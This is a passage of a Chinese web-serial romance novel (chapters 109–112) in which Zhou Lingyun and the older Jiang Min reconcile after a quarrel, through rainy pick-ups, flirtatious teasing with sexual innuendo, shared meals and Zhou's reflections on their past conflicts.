周灵蕴拿上干净睡衣,站在卫生间门口,又补了一句,“我不会轻易原谅她的,我也不会搬回去的。” 一码归一码,周灵蕴觉得自己还是挺拎得清的。 至于老家那边,她隔天中午吃饭的时候给老太太去了电话,如实汇报了情况。 老太太反应还好,“要磨合的嘛,两个人过日子都要磨合的嘛,以前嘛,还是个小娃娃,现在嘛是大姑娘了,有自己的想法了……” 周灵蕴当时心里说“谁要跟她磨合啦”,挂断电话,继续午餐,碗里挑起箸面条,半天没往嘴里塞。 奶奶说得对。 下午开始刮风,天黄黄瞧着要落雨,姜悯发消息说还在外面谈事情,周灵蕴叮嘱说慢些开车,“我在店里等你。” 姜悯迟到了。附近不好停车,上次被贴条她不敢再乱停,兜了一大圈才找到停车位。 雨下得特别大,她浑身湿透,滴滴答答站在周灵蕴打工的奶茶店门口,像只幽怨的水鬼,隔着落地玻璃,冲里面招手。 “喂!是不是昨天那个姐姐,你看。” 周灵蕴留在店里帮忙,店员拍拍她肩膀,让她往外面看。 周灵蕴早就换回便衣,这时候她抓起自己的帆布包,赶紧从柜台后面出来。 风大雨大,姜悯长裙单薄,檐下抱住自己的双肩,瑟瑟发抖,“对不起啊,下雨堵车,路上耽误了。” 周灵蕴身上只穿了件短袖,她左右看看,也没什么好办法,拉着姜悯手腕,把她往避风的墙角塞,撑开双臂为其遮挡,“你没带伞吗?” 姜悯摇头,手指扒拉扒拉腮边的湿发,“我担心你等着急,我自己也有点着急,停好车就直接跑过来了。” 她没化妆,脸被雨淋湿,像一片掉在水里的花瓣,身体因寒冷而拘束,楚楚可怜。 周灵蕴鬼使神差,手臂的帆布包捞去肩膀挂稳了,展臂抱住她。 “你是不是很冷啊?”周灵蕴摸到她一片冰凉的后背,触感是牛奶顺畅滑入喉咙的柔细。 两个人身体相触的瞬间,姜悯打了个抖。 周灵蕴完整接受到她身体的颤栗,手臂不由收拢得更紧。 “你可以发消息给我,店里有伞,我撑伞过去找你。” 姜悯轻轻摇头,靠在她怀里,没说话。 周灵蕴也沉默了。 女人水蛇一样凉滑的手臂缠上脖颈,熟悉的悸颤在心底荡漾开。 “我好想你啊,周灵蕴。”周灵蕴听到姜悯闷在怀里说。 然后脖子那里热热的,是她渐渐变得急促的呼吸,还有眼泪。 好烫好烫。 “我每天都很想你,可是我不敢去找你,也不敢给你发消息。我担心被你讨厌,我真的好害怕被你讨厌啊……” “可是我很想你,想抱着你,我每天早上醒来,摸到身边空空的,没有你,房间也空空的没有你,我好难过啊。” “我一直哭,一直哭,我也好奇怪,到底是怎么弄成这样的啊,我搞砸了一切。” “猫二也很想你,每一次,听到电梯厅外卖员的响动,它就会立即跑去门口蹲着,准备迎接,明明你们也没有相处很久嘛,可它有记住你,只是还太小不能一下分辨出你的脚步声。” “我也跟它一样,好希望来的人是你……” “啊!”姜悯忽地抬起脸,“对不起我不是那个意思,我没有屡教不改,我知道应该是我先过去找你的。” 她皱着脸,嘴巴瘪瘪的,眉毛是一个“八”字,哭得丑丑的“我就是想你,很想很想你。” 可是周灵蕴觉得好可爱啊,她哭得好可爱啊。 可怜又可爱。 想亲亲她。 幸好,是在人来人往的大街上,周灵蕴忍住了。 不过…… 亲一下她的发顶,偷偷的,应该不会有人发现吧? 周灵蕴心里这么想的时候,嘴巴已经高高撅起来了。 就那么巧,姜悯在那瞬间抬头。 一吻落在额头。 “啊不好意思——”周灵蕴立即道歉,“我我不小心。” 姜悯还是眼泪汪汪的,她抬手摸了脑门,说没关系。 “等雨小一点,我们再走吧。”周灵蕴说。 姜悯改抱住周灵蕴的腰,靠在她怀里乖巧点头。 “你还冷吗?”周灵蕴又问。 姜悯再次点头。 周灵蕴手掌贴在她肩膀皮肤,上下搓搓,又低头哈了口热气。 姜悯发出“唔”的一声。 哎,真可爱,像撒娇的小狐狸,网上刷短视频经常会刷到的那种宠物狐狸,嘤嘤怪。 周灵蕴忍不住笑了。 她一抬头,透过门口落地玻璃,看到店里柜台后面,她的几个同事一动不动站在那,不知看了她多久。 天塌了。 “我去拿伞。”周灵蕴松开姜悯,跑回店里。 “哇哦——”几个同事开始起哄。 “哇哦——”还有顾客跟着起哄。 “干嘛啊!”周灵蕴拿上伞飞快跑了。 爱是倾斜的伞面,周灵蕴一手撑伞,一手环住姜悯,走进大雨里。 雨花绽放在街面灰色的人行道地砖,小高跟急促,帆布鞋稳健,周灵蕴半边身体很快也被雨湿透了,但她一点也不觉得冷。 她一会儿看看姜悯,一会儿又低头去看两人完全被水湿透的鞋,感觉奇妙。 姜悯一路都紧紧拽着她的衣角,周灵蕴身上那件白T快被拉成一字肩,周灵蕴好几次差点笑出声。 她想起小时候,跟奶奶去镇上赶集,她也是这么拽着奶奶的衣角,像个小挂件。 她好乖哦—— 视线倾斜,周灵蕴看到姜悯左边脸蛋,软软鼓起的腮帮子,抿了一下嘴唇。 不过话说回来,别以为她看不出来哦!这人每一个动作都是精心设计过的! 到车上,周灵蕴特地伸头往后座看了一眼。 这人没收捡,什么乱七八糟的东西都堆在后面,加油送的水和纸巾攒了一大堆,还有自家产的礼盒装的茶叶,盖的小毯,外套,甚至喝空一时找不到垃圾桶扔的咖啡杯…… 简直就是垃圾堆! “我才几天不在啊,又弄得那么乱。”周灵蕴不禁脱口而出。 姜悯还没上车,站在车门边,可怜巴巴揪着自己头发上的水,“很多很多天了,你不在,我根本没心情收拾。” “我在的时候,你也没收拾啊!”周灵蕴大声说,伸长手臂去拿毯子,准备用来给姜悯擦头发。 一把蓝格伞掉下去。 周灵蕴继续扯毛毯。 又一把粉格伞掉下去。 周灵蕴回头,冲姜悯说了句“心机”。 “明明有伞,还故意淋雨,装可怜想博取我的同情心。” “对啊。”姜悯倒是坦荡。 “因为我喜欢你,我爱你,我舍不得你,我每天都很想你,想你想得简直发疯,甚至每天做梦都梦到你,才会对你使手段……” 她样子有点笨笨的,装得笨笨的,手指挠挠腮帮,“那不然我怎么办嘛,我想跟你好,你说我要怎么办嘛。” 哎,她真有本事,这种话可以直截了当说出来。 周灵蕴有点受不了这种直接,抱着小毯子绕到主驾门边,一抬手毯子给她罩在脑袋上。 “闭嘴。”—— 作者有话说:咕来啦 第110章 如果可以被强制爱的话…… 家里开始养猫之后, 猫毛就成为了她们的小世界最无孔不入的东西。 周灵蕴明明已经没在那个家住了,身上还总沾得有。 她用车后座的小毯子简单为姜悯擦拭过身体和头发,回到副驾位, 坐那开始抓自己的脸。 “你看不见,我来帮你。”姜姐热心肠, 倾身靠拢。 “这条毯子在家用过吗?”周灵蕴身体比嘴老实, 立即解开安全带,扭身侧向她。 姜悯说没, “但跟家里的大毯子一起洗过。” 周灵蕴点点头,那合理了。 “欸你先别动,我看到了。”姜悯说。 于是周灵蕴闭上眼睛,乖乖不动。 她发誓, 她内心清清白白,下一秒,却听到姜悯短而沉一阵促狭笑音。 “又不是接吻,你干嘛闭眼睛?” 天啦!奇耻大辱! “你不会以为我要趁机偷亲吧?”姜悯唇边笑意持续扩大,甚至发出持续不断“嚯嚯”声。 “放屁!”周灵蕴浑身毛炸起, 睁开眼, 手使劲地搓脸, “是脸上有毛!” “欸你急什么?”姜悯浅送白眼, 轻轻打掉她手,“别动,我看到了, 挂在你睫毛上。” 周灵蕴重新闭上眼,“那就是了,我觉得眼睛痒才那个,方便你揪毛的嘛——” 而且, 而且,你凑那么近,我怎么好意思看你呢? 还大老板,这么简单的逻辑都顺不明白。 周灵蕴感觉到了。姜悯微凉的指尖,轻柔着陆在眼睫,那么近,还有她潮润的呼吸,以及周身被雨淋湿后冽冽的香。 不单是猫毛。 无孔不入的,还有姜悯。 “还有哪里痒?”她的声音。 周灵蕴摇头。不知道,好像浑身都挺痒的。 “那我再瞅瞅。”她说。 好啊,没关系,你慢慢看。 周灵蕴挺背坐那,两手搁在大腿,乖乖的。 随即有冰凉柔软的触感,降落在唇瓣。 是她吗?周灵蕴不太确定。 太久没亲了。 周灵蕴微微张开嘴唇,想说点什么。 比如“你干嘛亲我啊臭流氓”之类,又担心惊吓到对方。 想保持矜持,可确实也太久没亲嘴。 如果可以被强制爱的话,嘿嘿…… 不过两三秒,脑袋里转出千万个念头,周灵蕴最终决定,绷紧面皮当作无事发生。 可她很难控制自己的微表情啊!暗爽,偏要装样。 “嘴巴边也有吗?”周灵蕴听到自己微颤的音节,出口的瞬间就后悔了。 此地无银三百两啊此地无银三百两。 “你好像在发抖。”姜悯语态悠然。 “啊没有吧,我在发抖吗?”周灵蕴趁机抬手蹭了一下嘴唇,“应该是,有点,我刚觉得嘴唇有点痒,我的神经比较敏感。” “所以你不会以为我在亲你吧。”姜悯又道。 啊? 啊? 啊? 周灵蕴彻底迷糊了,到底到底亲没亲啊。 这对她很重要啊,到底亲没亲啊? 到达极限了,周灵蕴睁开眼睛,把头侧向车窗。 她手背贴脸,摸到两腮滚烫,甚至感觉鼻孔都在喷火。 “你脸好红。”姜悯追来,没完没了,“是淋雨发烧了吗?还是因为刚才我弄你的嘴巴。” 中华文字,博大精深,“弄”这个词,很厉害。 所以是怎么弄的,手弄的还是嘴弄的。 她好坏。 周灵蕴深吸一口气,双拳在膝头握紧,她不能坐以待毙。 “那你干嘛要弄我。”都说了敏感。 “你不是痒。”姜悯无辜。 “我没说嘴痒啊。”周灵蕴辩解,“你干嘛弄我的嘴。” “可是你也不知道自己哪里痒啊,你又看不到,在我的视角,我看到的就是你嘴痒。”姜悯眨了眨眼睛。 都什么跟什么啊! 周灵蕴“哼”一声,鼓腮,“你刚才肯定偷亲我了,你不要脸,凭什么,我清清白白的,我根本不痒。” “我偷亲你?”姜悯指着自己的鼻尖,“你好大脸哦,我才要问凭什么,你污蔑我。” 两个人在车上吵起来,因为姜悯到底偷没偷亲这件事。 周灵蕴坚持说被亲,姜悯坚持说自己没亲。 吵到最后,大家都累了,姜悯提议,“那这样吧……” 周灵蕴看着她。 姜悯一面扒拉着脸边的碎头发,一面扬起脑袋,左右晃,豁出去的样子,“既然说不通,那就亲吧。” 她有理有据,说算了懒得争执了,但不能被白冤枉,她要亲。 “是谁嘴巴痒。”周灵蕴问。 姜悯说“我痒”,“上面的嘴和下面的嘴都挺痒,三十女人嘛,嗯。” 周灵蕴脸愈发烫,人也跟着晕乎乎。 可姜悯说完之后就再也没有别的动作。 她嘴上在开车,手上也是在开车,她启动车辆驶离停车场,“回家了。” 周灵蕴心一点点沉下去。 她两只手左右交叉,握拳塞在自己小肚子那,偏着脑袋,嘴唇抿得紧紧,看雨刮器左一下右一下。 姜悯几次侧目,差点笑出声。逗小猫也太好玩了。 车进地库,下车周灵蕴跟着姜悯进电梯,到家,帆布包直接往地上一扔。 姜悯跟在后面,捡起她包,把里面东西掏出来放在餐桌上,包扔洗衣机,“先洗澡,别冻感冒了。” “我自己洗。”周灵蕴说。 姜悯走到她房间门口,“我好像也没有说要跟你一起洗吧。” 说完走开。 周灵蕴双手叉腰,气呼呼在那站了会儿,出去洗了个手才在柜子里翻居家服。 她在姜悯的房子里住了那么多年,东西一年比一年多,一个行李箱肯定是装不完的,她很多东西没带走。 她没想过不要,也没想过来拿,是她心中始终觉得,她还会回来的。 果然。 她回来了。 但周灵蕴没想到的是,她衣柜里竟然多出好几套新衣服。 夏天的居家服,睡裙,宽松舒适的薄款运动长裤,背心,T恤,还有一些款式简单的裙装。 人都走了,干嘛还买衣服。 搞不懂。 周灵蕴洗完澡,坐在沙发上擦着头发想,是姜悯太自信,打心眼里觉得她不会走,还是其实根本没想过赶她走? 但不管怎么说,周灵蕴对被赶出家门这件事非常在意。 她不会轻易原谅。 可她转念一想,不会轻易原谅,并不代表不会原谅。 所以她最后还是会原谅。 啊! 苍天呐! 周灵蕴不由仰天长叹,她太难了。 更难的是,她发现这女的好像在钓她。 头发吹得蓬蓬的香香的,穿吊带睡裙,后腰和胸口有大片夸张的镂空蕾丝,长度是一弯腰就能看到屁股缝,姜悯就这么在她面前走来走去。 “你干嘛?”毛巾挂在脖子上,周灵蕴左右手拽着两端,眉头深皱,表示不解。 把脏衣服塞进洗衣机,启动,脚步一旋,翩然转身,姜悯回头冲着周灵蕴大步走来。 周灵蕴顿时紧张。 她僵僵坐着,看姜悯睡裙心口位置两个圆圆的东西上下那么晃着,转眼就晃到面前。 “你干嘛!”周灵蕴往旁边躲了下,手肘抵到沙发背。 姜悯一屁股坐周灵蕴大腿上,两只手勾着她的脖子,“想你了,想坐近点,好好看看你。” “那也不用坐我身上吧。”周灵蕴梗着脖子往后仰,两手虚空半举,以示正直。 “坐身上看得清楚点。” 姜悯晃晃手臂,周灵蕴被她带着一起晃,视线不由往下,瞄她心口,声音变得沙沙的,“你什么时候买的这条裙子。” 姜悯答非所问,“好看吧。” 好看,周灵蕴点头。 “衣服好看还是我好看。”姜悯又晃了下。 “你好看,衣服也好看。”周灵蕴手臂慢慢垂放下来。 她倒是想说不好看的,气死这个姜大炮,可她嘴不听使唤。 “你喜欢吗?”明知故问,姜悯挺身靠拢。 衣料半透,若隐若现,最是勾人,周灵蕴眼眶有点发红,唇微启,唇下小牙紧咬。 “你表情……”姜悯屁话没完,“你看不见你的样子,你知道现在自己什么样子吗?” 视线微抬,周灵蕴定定瞧她。 什么样子? “说话。”姜悯训狗一样。 “我什么样子。”周灵蕴也是真听话。 姜悯两手搭在她脖子,故作天真地瞪大眼睛,“发神,好像灵魂出窍,被夺智了!” “我不知道。”周灵蕴强行别开脸,使劲揉眼睛。 “宝宝——”姜悯屁股不安分扭,一个劲儿往她身上靠,“好想你哦,每天都好想你,想跟你那个。” 周灵蕴又把脸转回来,傻乎乎问“哪个”。 “就是那个啊!”姜悯娇滴滴的,搂着她不住地晃。 周灵蕴舔了下嘴唇,“哪个嘛。” 姜悯忍笑,“就是那个呀,啊呀真是的,我们每天都会做的事情嘛。” “每天?”周灵蕴还没意识到哪里不对。 “每天都可以吗?”没和好也可以吗? “当然啦!”姜悯答得爽快。 跃跃欲试,周灵蕴手搭上她的腰。 “你准备好了吗?”姜悯忽而正色。 “嗯嗯——”周灵蕴乖巧点头。 “那我们开始吧。”姜悯道。 周灵蕴把脸凑过去。 怀中却骤然一空。 姜悯起身,大步走向厨房,“买了牛腩,我给你做个番茄炖牛腩吧。” 周灵蕴高高噘起的两片嘴唇迅速内收包住牙齿,两手不知该放哪里好地胡乱拨弄头发。 “用电压力锅,很快就能吃上——”姜悯在厨房里大声喊。 周灵蕴气得半死,躺在沙发上,用力扑腾并发出“呃呃”嘶吼声。 姜悯!你这个贱人!宇宙无敌超级大贱人! “你怎么了?”门边探头,姜悯大眼睛眨呀眨,满脸好奇,“你在干嘛呢?” 重重咳嗽声,周灵蕴迅速爬起坐直,“上班累了活动下。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-118 第111章 [骚货。] 每天都会做的事情当然是吃饭啦! 没毛病。 周灵蕴独自坐在客厅沙发, 听厨房里一堆锅碗瓢盆被姜悯弄得叮咣响,揉揉鼻子,忍不住低头笑了。 姜者, 其味愈老愈辣。是手段毒辣,也是身材火辣。 但我才不是那么好糊弄的呢, 周灵蕴心中冷哼一声。 少给我来这套! 姜悯在厨房做饭, 周灵蕴虽心有歉疚,不过内心是打定主意不去帮忙的。她最近有在尝试着压抑自己过于旺盛的同理心。 周灵蕴打开电视, 找了个最近热播的综艺开始看,因为没开会员,进广告特别频繁,她又觉得无趣, 走到厨房门口,“还要多久啊?” “你饿啦?”姜悯正在切菜,刀功熟练,装盘利落。 周灵蕴看着她,这感觉颇有些奇妙。 她长发用鲨鱼夹简单挽起, 后脑蓬松, 微卷的发尾扫拂在细而长的颈, 整体感觉是慵懒松弛的。 她做事又很麻利, 拍了蒜,切了葱,快速洗净砧板, 抓来两个土豆,蹲在垃圾桶边削。 偏偏,她穿一件过于性感的镂空睡裙,弯腰起蹲时, 两个圆圆的屁股瓣会露出来…… 周灵蕴简直要笑疯。 某人还装作一脸懵懂,“你笑啥?” “你不如别穿!”周灵蕴扶着门框大叫。 “全脱了吧,就系个围裙,扮演麻辣煮妇。” 姜悯抬起头,用力眨巴眨巴眼,然后一脸被点醒的样子。 “对哦,好主意。” 周灵蕴使劲儿拍了下自己的脑门,她为什么要给她提供灵感! 姜悯此人,行事无常,朝出夕改,且十分荒渺不经。 如此就罢了,还是个身强的J人,她向来是严于律己,说到做到…… “猫猫你看。”姜悯脱掉裙子,换上蓝色玉桂狗和小樱桃图案的亚麻布围裙,举着锅铲走到周灵蕴面前,“猫猫你看——” “我不看,我不看!”周灵蕴两只手捂住自己的眼睛,“我坚决不看!” “哎呀你——”姜悯跺着脚,“明明是你让人家换的嘛,换了你又不看了。” 周灵蕴快要崩溃了,“你是不是有病啊姜悯!” “你有药啊。”姜悯说。 “话说牛腩不用管的吗?”周灵蕴站在餐桌的另一头,同她转圈圈玩。 姜悯满屋发癫,还抽空回答问题,“牛腩得多炖一会儿,土豆和西红柿晚些放。” 周灵蕴说太肥的我不吃嗷。 姜悯说不肥不肥,“我精挑细选,保证入口即化。” 周灵蕴吃过晚饭,自己搭地铁回蛋挞家的路上,总不时回想起这幕。 她举起帆布包挡住自己的脸,底下嘴都快笑烂了。 说出去谁信啊。 谷阿姨会相信吗?她的好大女,衣服不穿在家玩性感厨房。 当然,周灵蕴不会告诉任何人。 姜悯乞哀告怜,或是任性癫狂,都是她私藏的宝贝。 周灵蕴有些着迷这感觉。 看姜悯为她失惊倒怪,魂不著体。 喜欢,爱看。 周灵蕴进门,换鞋,蛋挞坐在客厅沙发,周围一圈补光灯,正对着手机说话,周灵蕴抬腕看了下表。 行,以后都这个点回。 她进卫生间洗澡,吹干头发,躺在房间的小床上,忍不住,又想起姜悯。 饭吃到一半,姜悯起身走过来,张开腿坐她身上,一手举碗,一手捏勺,说“宝宝我喂你吃吧”…… 她把脸偏到一边笑,那女的就开始晃,拧着腰两瓣屁股在她大腿上晃,说“吃呀吃呀,你张嘴吃呀。” 我的天呐,周灵蕴夹着被子满床打滚。 天知道她是怎么熬过来的。 不能轻易原谅,于是要努力装作对她无欲无求的样子,傻乎乎,嘴巴张得大大。 送到嘴边的,却不是炖得软烂黏糊的番茄土豆牛腩。 挺着腰,樱桃果离口五公分的距离,姜悯却停住,低柔的嗓,“你想吃吗?” 想。她稀里糊涂点头。 “那你吃啊。”姜悯笑盈盈的。 她脑浆沸腾。 这个位置,她一张嘴就能吃到。 “我有什么代价。”她保持着最后一丝清醒。 “你想X我吗?”姜悯却问。 [没想到你竟然是这种人。] 周灵蕴拿起手机,给姜悯发消息。 她竟然主动给姜悯发消息了,她还是年轻。 她太年轻了。 “宝宝想我了?”姜悯发来语音,五个字拐出八个音。 周灵蕴脸蛋红扑扑靠在床头。 [骚货。] “对啊,我就是骚货……”十八秒的语音条,后面十五秒,尽都是嗯嗯啊啊的怪叫。 周灵蕴听完第一遍,听了第二遍。 然后是第三遍,第四遍……第十遍。 因为一直在听语音,没回复消息,姜悯似乎猜到。 “语音条都盘包浆了吧。” 周灵蕴“啊啊”两声,双腿用力砸床。 恰在此时,蛋挞推门而入。 周灵蕴静止不动,拧眉装得一脸严肃,嘴里还嘀嘀咕咕,“这个排班表,嗯……” “你干嘛?”蛋挞问。 周灵蕴抬头,长睫毛扑扇两下,“干嘛?” “干嘛?”蛋挞走到床边,“我问你干嘛。” “你下播啦?”周灵蕴道。 蛋挞伸出腿来,踩着周灵蕴大胯,不轻不重蹬了一脚,“你在这儿翻腾什么,一脸潮红的。” 啊?这么明显? 周灵蕴撑肘坐起,靠在床头,“没吧,刚洗完澡有点热。” 蛋挞开始盘问她,为什么这么晚回来,又在跟谁发消息,笑得那么淫。 “你是不是又跟那老女人搅和上了。” “谁啊。”周灵蕴装傻。 蛋挞一言不发,死盯她。 好吧,周灵蕴深吸一口气,“她不老吧。” 蛋挞也觉得这么说人家不好,“相对较老。” 相对较老,嗯。 “你有点刻薄了知道不?”周灵蕴说。 蛋挞气笑不得,挥拳打她,“少跟我来这套!赶紧给我老实交代。” 周灵蕴也知道自己这种性格根本藏不住事,她破罐破摔了。 “好吧,你说,她色诱我,我该怎么办,如果是真真姐脱个半光坐你大腿上你该怎么办?” 蛋挞手指蹭了蹭鼻子,没应。 周灵蕴反踹她,“说话。” 蛋挞笑着走开了。 周灵蕴不依不饶,追出去问。 蛋挞躲进卫生间,嚷嚷说她要拉屎,让周灵蕴赶紧滚开。 周灵蕴隔门拍喊一阵,无果,转而去找在厨房做奶油曲奇的梦真。 把蓬松的面糊用裱花袋挤进烤盘,直到挤完最后一坨,梦真才抬头看向她。 “其实我跟蛋挞,不是你想的那样。” 周灵蕴迷糊了,“什么意思,难道你们不是情侣关系,没在一起?” 慢条斯理,梦真把烤盘送进烤箱,随后设置时间,“我的意思是,光着屁股坐人大腿上晃的那个人不是我。” 慢吞吞的动作,慢悠悠的语调,梦真就是有这样的本事,做什么说什么都不慌不忙。 周灵蕴嘴巴大得能塞下一个咸鸭蛋。 “唐书瑶,我真没想到啊真没想到,你竟然是这种人!”她大叫着跑出去。 周灵蕴后来跟蛋挞私底下说起这事,她很好奇,“真真姐在床上是不是也是平时那样。” 蛋挞一直捂着脸笑。 周灵蕴逼问得紧了,也是她自己想听到关于姜大炮更多骚操作,交换的意思。 “对啊,弄我的时候,也是不慌不忙。”她轻咳一声,模仿梦真当时语气,“阿瑶你感觉好吗?嗯?你舒服吗?” 周灵蕴从沙发滚到地毯,捂着肚子笑到捶地。 蛋挞笑够,瞪圆眼睛,竖指警告,“你不准说出去!” “所以她在床上都叫你阿瑶哦——”周灵蕴怪腔怪调,阿瑶阿瑶叫个没完。她还使坏朝蛋挞腰上捏了一把,“你舒服吗?嗯?阿瑶。” “滚啊!贱人!”蛋挞飞踢。 周灵蕴笑够爬起来,“唐书瑶,我对你很失望。” 至于真真,周灵蕴更加意外,“一点看不出来,闷不吭声干大事的。” “没办法,她手巧。”蛋挞说。 唐书瑶秘密被发现,装大姐大失败,往后周灵蕴要是再晚回家,她很识趣不问了。 周灵蕴感觉她跟姜悯又回到了上学那阵子。 她上早班的时候,姜悯会拎着买好的蛋糕或水果站在店门口等她,她上晚班的时候,姜悯则是抱着电脑坐在店里陪。开会,看报表,小声打电话,争取在她下班之前处理完所有工作。 周灵蕴每天都能见到姜悯,她好奇问过姜悯,“你不觉得麻烦吗?” 姜悯正在开车,骂完别她车的一个地中海男司机,扭头,换个笑模样,“不麻烦呀。” 周灵蕴追问说真的不麻烦吗?姜悯认真想了想,点头。 “在你身边,我觉得很开心,现在每天最期待的事就是下班后接你下班,或等你下班。” 姜悯会给周灵蕴使手段,色诱,送嘴边又满脸坏笑着缩回去,看她着急,故意惹她生气,喜欢看她馋得要死却无能为力,装矜持装没反应。 姜悯也有很真诚的一面,无论晴雨,坚持每天接周灵蕴下班,回家给她做饭,还会帮助开导她在工作中的不顺心,跟她一起骂找茬的顾客。 周灵蕴能感觉到姜悯的变化。 姜悯似乎也在这种重复的日常中获得一种心安。 前面修路,她们今天绕了一截,经过周灵蕴的高中,周灵蕴又看到那家小食店。 卖炸鸡柳、淀粉肠,土豆和火山石烤肠。 周灵蕴想起个好玩的。 是高二那年吧,冬天。有一次,姜悯陪她站在小食店门前等,说“垃圾食品少吃点”,被店主狠狠翻了个白眼,结果没过两分钟,就把人家烤肠抢走自己躲到一边吃,担心弄脏口红,两片嘴唇翘起,口水顺着烤肠滴下来,拉出长长一条丝…… 嗯,这就是姜悯。 矛盾,反差感极强,神经质,不讲理,霸道的,坏坏的,还有点可怜兮兮的…… 又很可爱的。 周灵蕴觉得自己完了。 当你觉得一个人可怜又可爱的时候,你就完了—— 作者有话说:换季,小毛病不断,频繁请假,咕咕好过意不去,感谢友友们给我的爱,嘤嘤,此章留言,明天给大家发小红包 第112章 六边形战士 时间来到八月下旬。 出了伏天, 炎热慢慢消解掉,行走在大树和房屋遮挡的,晨光无法照耀到的阴凉地, 在昨夜雨后潮湿的微风中,半袖底下露出的两条手臂微感到一丝凉。 周灵蕴站在垃圾桶边, 三两口吃完手里的肉包子, 塑料袋扔进去,兜里掏出纸巾擦嘴, 不由抬头望向头顶的树冠,一阵恍惚感袭来,她目光失焦。 梧桐树的叶子尖尖,不知何时偷偷染了黄。 夏天啊, 竟已结束了。 这个暑假,发生了好多事情哦。 她跟姜悯吵架了,从她们的家搬出来了,她住进了蛋挞和真真的家。 她在奶茶店打工,还是蛋挞的小助理, 她学到了很多新东西, 认识了很多新朋友, 每天充实又快乐。 暑假的尾巴, 姜悯找来,她们频繁见面,吃饭, 姜悯跟她道歉,她们的关系也随着暴烈夏日的终结,过渡到和缓沉静的秋。 周灵蕴最近的感觉非常好。 毫不夸张讲,她从生下来到现在, 第一次觉得这么好。 她从早到晚做不完的事情,她可以凭借自己双手赚取到每天吃饭住宿需花费的钱,虽然蛋挞并不需要她支付房租。 这种自给自足,可以完全掌控自己生活的感觉,让她从心底生出一种前所未有的踏实和满足感。 她不再是依附于谁的藤蔓,而是能自己扎根生长的小树,双脚结结实实踩在地面,每一步都清晰可闻。 因此,即便工作中遇到些小麻烦,她也能很快调整心态,每天的心情底色始终是明亮的。 这天下午,周灵蕴就遇到了一个故意刁难的中年男顾客,点单时嫌她动作不够快,结账时又硬说她瞪了他一眼,服务态度恶劣。 周灵蕴当时没忍住笑。她是被气笑的,她从始至终头都没怎么抬,急匆匆点完单,忙着去做饮品,哪有空瞪他。 可她不笑还好,一笑,对方顿觉被挑衅,嚷嚷得更大声了,拍桌子打板凳,要她站出来鞠躬道歉。 “你瞪我做啥子,啊?” “你一个小服务员,穷打工的。” “顾客是上帝的道理懂不懂,你瞪什么,你是不是不耐烦得很。” “你们老板在哪里,老板喊出来。” “真是无法无天。” …… 周灵蕴呆呆看着他,张了张嘴,想解释,但看他一脸胡搅蛮缠,油盐不进的样子,一股深深的无力感涌上来。 争辩有什么用呢?只会浪费更多时间,影响其他顾客,还让自己生气。 她垂下眼,深吸一口气,再抬头时,脸上是职业化的平静。 “对不起先生,让您感到不愉快了,我向您道歉。” 跟这种人争辩,毫无意义。 她一向能屈能伸。并非懦弱,只是懒得。 最终,店长出面,赠送饮品,打发走。 周灵蕴低头切水果,店长走来,拍拍她肩膀安慰,说没事,“林子大了什么样的鸟都有,今天这件事不是你的错。” 周灵蕴当时确实没太在意,甚至在心里撇了下嘴。 跟从前的姜悯相比,这种程度的找茬,简直就是毛毛雨。 “没事,我以前遇到过更离谱更恶劣的,而且那时候我才十四岁,我已经成长很多了。” 周灵蕴反过来安慰店长。 “欸可怜的宝。”店长怜爱了,摸摸她头。 到下班的点,像是有心灵感应,周灵蕴一抬头就看到玻璃窗外朝她挥手的姜悯。 她朝着姜悯打了个手势,表示自己马上去休息室换衣服,姜悯点头,了然。 脱下围裙,一颗颗解开衬衫扣子,储物柜的纸口袋里取出自己的衣服,套上,周灵蕴脑海中莫名浮现几个小时前,中年男顾客那张沟壑纵横的脸。 其实更准确来说,浮现出的是她当时的心境。 她满心疲惫,根本懒得争辩,只想快点结束。 就是这种感觉,疲惫感,像一把钥匙,猝不及防打开她记忆中某个尘封的角落。 她系扣的手指动作慢下来。 在过去,她和姜悯无数次争吵的尾声,她情绪激动,言辞尖锐控诉,姜悯常常会流露出一种与她今日类似的神情。 不是愤怒,也不是愧疚,而是一种极深的厌倦和无力。 然后,姜悯会冷冷笑一下,有时甚至懒得发出一声,就直接转身,摔门而去。 她一直以为,是姜悯心虚理亏,不屑跟她吵架,是傲慢和冷漠的表现。她因此更加愤怒,觉得对方连基本的尊重都不给她。 可今天,周灵蕴忽然触摸到了另外一种可能性。 姜悯当时的沉默,会不会…… 在姜悯看来,当时的自己,是不是也像下午找茬的男顾客一样,已经预设了立场,根本听不进任何解释? 所以才会破罐破摔,丢一句“随便你怎么想”。 这是第一次,周灵蕴开始认真反思,在过去的那些冲突里,自己是不是也过于先入为主了? 她总是下意识把自己放在受害者位置,她的偏见,对姜悯来说,是否也是一种精神霸凌。 并非开脱。只是这个偶然的,基于自身体验的联想,让周灵蕴意识到,她们关系的破裂并非只是其中一方的过错。 换下来的衣服装进纸袋,准备拿回去洗,周灵蕴推开休息室的门走出来,看到玻璃窗外正在接工作电话的姜悯。 她买了两根火山石烤肠,自己那根没忍住馋咬去一半,剩得半根装在口袋里,留着,大概是想跟她一起吃。 周灵蕴心底涌上许多复杂感觉。 晚饭是冬瓜排骨汤,凉拌鸡丝,还有番茄炒蛋,周灵蕴吃饭的时候,忍不住跟姜悯说了下午那事。 姜悯非常气愤,撸起并不存在的两条袖子说要把人杀了。 周灵蕴一下被逗笑。 她摇头,“不要吧,杀人会被抓起来的,你被抓起来了谁给我做饭。” 双手撑在桌沿,姜悯倾身,笑嘻嘻,“舍不得我啦。” 周灵蕴提前举手示意,“先说,并不是要你帮我出头,或者安慰我,我已经处理好了,心情也处理好了,只是跟你闲聊天。” 姜悯点头,“我当然知道,我也相信你有处理好事情的能力。” “不过……”她话锋一转,“就算处理不好也没关系,跟没素质的老男人在店里打起来又怎么样呢?正好拿他出出气,我觉得你肯定能打赢,嘻嘻——” 果然是姜悯的风格。周灵蕴喝口排骨汤,帮助咽下米饭,嘴里清干净了才开口说话。 “那我被警察抓起来了怎么办?” “我去捞你。”姜悯说。 周灵蕴再次笑了。 随后姜悯说起另外一件事情。 “可以提前结束打工吗?开学前留出三五天的时间。” 周灵蕴抬头,疑惑眨眨眼睛。 姜悯说起老太太。 老太太那边,应该是最近几年生活好了,长胖了,血压开始不稳定。 “我妈的意思,送她到省医,做个全方位的体检,然后在家住几天,附近玩玩,看看你也看看你的学校。” “不是威胁你,非让你搬回来的意思,我们最近闹别扭,大人们都知道,你想住蛋挞家还是可以继续住的,只是老太太难得进一次城,本来腿脚就不好,嗯,你自己考虑。” 周灵蕴默默听着。 